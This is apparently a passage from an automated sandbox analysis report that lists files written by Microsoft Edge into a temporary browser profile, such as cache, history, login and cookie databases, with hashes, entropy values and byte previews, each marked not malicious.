SHA1:	C569D730853C33234AF2402E69C19E0C057EC165
SHA-256:	825FF36C4431084C76F3D22CE0C75FA321EA680D1F8548706B43E60FCF5B566E
SHA-512:	96ACDED5A51236630A64FAE91B8FA9FAB43E22E0C1BCB80C2DD8D4829E03FBFA75AA6438053599A42EC4BBCF805BF0B1E6DFF9069B2BA182AD0BB30F2542FD3F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\GPUCache\data_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\GPUCache\data_1

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\GPUCache\data_2

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\GPUCache\data_3

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\GPUCache\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlxp:Ls3
MD5:	5F7F77CC945D2A6412786398FDA98B61
SHA1:	168FA50BC620F7207222CD89A6F0D01EE27C1AF1
SHA-256:	642A33B84DF5DA1D1F86093533A92CA15F968FFB6CBEB156620062FBD87FE347
SHA-512:	C534436513DC709ECB1C23F50CD3510C79BEDF742695E554D613D621AA86EE4414DBB9E935A1D3E81866F22C4B6A356CCE148B9DDE7BD5FED518C4E700A5F06D
Malicious:	false
Preview:	............................................%./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\History

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\HubApps Icons

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.33890226319329847
Encrypted:	false
SSDEEP:	12:TLMfly7aoxrRGcAkSQdC6ae1//fxEjkE/RFL2iFV1eHFxOUwa5qgufTsZ75fOSI:TLYcjr0+Pdajk+FZH1W6UwccI5fBI
MD5:	971F4C153D386AC7ED39363C31E854FC
SHA1:	339841CA0088C9EABDE4AACC8567D2289CCB9544
SHA-256:	B6468DA6EC0EAE580B251692CFE24620D39412954421BBFDECB13EF21BE7BC88
SHA-512:	1A4DD0C2BE163AAB3B81D63DEB4A7DB6421612A6CF1A5685951F86B7D5A40B67FC6585B7E52AA0CC20FF47349F15DFF0C9038086E3A7C78AE0FFBEE6D8AA7F7E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Local Storage\leveldb\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Local Storage\leveldb\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Local Storage\leveldb\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	283
Entropy (8bit):	5.2386601213600095
Encrypted:	false
SSDEEP:	6:7PWSBdK1N723fQmba2jM8B2KLlpPWS/lAQ+q2PN723fQmba2jMGIFUv:7xCaZjFLTxX+vVaZEFUv
MD5:	F2835F82C35FEE840A877C82D1F39905
SHA1:	5C80C5628BEB1ECDA53ABF6939EAFFF893B92A95
SHA-256:	64E720A208B48179883B2348D6177D26789D66C61109C34B5C233C3DFFE9FF99
SHA-512:	26675B9C605E1A47FB577835432262B2BDBA77B9A41F6C0F42EFC384B5C39A44B05B17350328DC3DEF0B9F62D3A54CAEEA45B4838F78BB9ED7044785C8E12AA6
Malicious:	false
Preview:	2024/12/18-13:28:23.772 17bc Creating DB C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Local Storage\leveldb since it was missing..2024/12/18-13:28:23.821 17bc Reusing MANIFEST C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Local Storage\leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Local Storage\leveldb\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Login Data

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745933985004888
Encrypted:	false
SSDEEP:	96:y8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:y8yLG7IwRWf4
MD5:	7A9BF0D6AB6967E057DB6BA4EE45243B
SHA1:	0C8775DE3A37242BA7CF2FAE40613E935970928F
SHA-256:	E3C8C78A681C3CB37BE10D4B3D9E97E05D438DCF71FBF9CE4F388A3F3218BE8F
SHA-512:	42BCF1D8588E89E9DE413A4AE5C973D5F149F09273CB293EDF53AB2EF94D493310F19F10CA06EBDF6893CB46AA234A5BAA1C4CD1D531F26C1B406B7AE459EEDA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Network\78bb810b-70c0-4fd9-be59-d06c48711bf1.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Network\820b35e3-4fd2-4877-b940-8e88c5010622.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Network\Cookies

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Network\SCT Auditing Pending Reports (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Network\SCT Auditing Pending Reports~RF484fb.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Network\Trust Tokens

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Nurturing\campaign_history

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\README

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.2629097520179995
Encrypted:	false
SSDEEP:	3:RGXKRjg0QwVIWRKXECSAV6jDyhjgHGAW+LB2Z4MKLFE1SwhiFAfXQmWyKBPMwRgK:z3frsUpAQQgHGwB26MK8Sw06fXQmWtRT
MD5:	643E00B0186AA80523F8A6BED550A925
SHA1:	EC4056125D6F1A8890FFE01BFFC973C2F6ABD115
SHA-256:	A0C9ABAE18599F0A65FC654AD36251F6330794BEA66B718A09D8B297F3E38E87
SHA-512:	D91A934EAF7D9D669B8AD4452234DE6B23D15237CB4D251F2C78C8339CEE7B4F9BA6B8597E35FE8C81B3D6F64AE707C68FF492903C0EDC3E4BAF2C6B747E247D
Malicious:	false
Preview:	Microsoft Edge settings and storage represent user-selected preferences and information and MUST not be extracted, overwritten or modified except through Microsoft Edge defined APIs.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Session Storage\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Session Storage\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.7273991737283296
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFl:S85aEFl
MD5:	9F7EADC15E13D0608B4E4D590499AE2E
SHA1:	AFB27F5C20B117031328E12DD3111A7681FF8DB5
SHA-256:	5C3A5B578AB9FE853EAD7040BC161929EA4F6902073BA2B8BB84487622B98923
SHA-512:	88455784C705F565C70FA0A549C54E2492976E14643E9DD0A8E58C560D003914313DF483F096BD33EC718AEEC7667B8DE063A73627AA3436BA6E7E562E565B3F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f...............

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Session Storage\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Session Storage\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	271
Entropy (8bit):	5.209739838145984
Encrypted:	false
SSDEEP:	6:7PWF1N723fQmoQM72KLlpPW6vLkAQ+q2PN723fQmoQMxIFUv:7casLTJvLC+vVaTFUv
MD5:	0AC665B1794EB2A928EA1C4A00A87FFA
SHA1:	20C6FA6C2DF32C7926F4C6513DB070D893F7AA87
SHA-256:	1B933D843C1AC5B6891D829A41274C10391D4B00AF510E65328598FBF5F35E74
SHA-512:	3BA0A70E00244766ACA3C0569EA89A9653FCAC30557BD92734E5A7153679568316AEE7BEA0B6F6A932F7EA5CCBCCD15AA020B86059823A1CF26258F76EE76667
Malicious:	false
Preview:	2024/12/18-13:28:24.339 17bc Creating DB C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Session Storage since it was missing..2024/12/18-13:28:24.380 17bc Reusing MANIFEST C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Session Storage/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Session Storage\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Site Characteristics Database\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Site Characteristics Database\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.473726825238924
Encrypted:	false
SSDEEP:	3:41tt0diERGn:et084G
MD5:	148079685E25097536785F4536AF014B
SHA1:	C5FF5B1B69487A9DD4D244D11BBAFA91708C1A41
SHA-256:	F096BC366A931FBA656BDCD77B24AF15A5F29FC53281A727C79F82C608ECFAB8
SHA-512:	C2556034EA51ABFBC172EB62FF11F5AC45C317F84F39D4B9E3DDBD0190DA6EF7FA03FE63631B97AB806430442974A07F8E81B5F7DC52D9F2FCDC669ADCA8D91F
Malicious:	false
Preview:	.On.!................database_metadata.1

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Site Characteristics Database\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Site Characteristics Database\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.105366072213743
Encrypted:	false
SSDEEP:	6:7PWS+FKDERM1N723fQmmUh2gr52KLlpPWStVq2PN723fQmmUh2ghZIFUv:7x6vRsa/hHJLTxtVvVa/hHh2FUv
MD5:	F8AE7BE0B9AFE0AFA7F24290CCC78DA8
SHA1:	E0AF525787FFDF4AF5E2E634582BB6E2CB0C1CB0
SHA-256:	83794B45650D4373929386032AF9D0AE3B62380BC75D6CD8F96A77189B76FB34
SHA-512:	ED896AA8CE58B1F744C182E951C900F50D1E8928CFA96401E891BF1D08966AFAD6FB803CB2FE1ADCD947F3B3F27D5BDD87395CA9D616BEF2FEAE47B7AF8F6FED
Malicious:	false
Preview:	2024/12/18-13:28:23.212 1604 Creating DB C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Site Characteristics Database since it was missing..2024/12/18-13:28:23.251 1604 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Site Characteristics Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Site Characteristics Database\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Sync Data\LevelDB\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Sync Data\LevelDB\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.019797536844534
Encrypted:	false
SSDEEP:	3:sLollttz6sjlGXU2tkn:qolXtWswXU2tkn
MD5:	90881C9C26F29FCA29815A08BA858544
